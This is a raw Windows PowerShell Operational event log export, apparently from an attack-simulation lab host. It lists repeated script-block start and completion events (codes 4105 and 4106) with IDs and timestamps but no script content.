Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045546
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045545
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045544
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045542
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045541
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045538
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045537
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045536
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045535
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045534
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045533
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045532
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045530
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045529
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045528
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045527
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045524
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045523
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045522
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045521
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045520
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045519
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045518
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045516
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045515
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045514
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045513
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045512
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045511
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045510
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045505
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045504
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045503
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045502
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045500
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045498
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045497
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045496
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045494
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
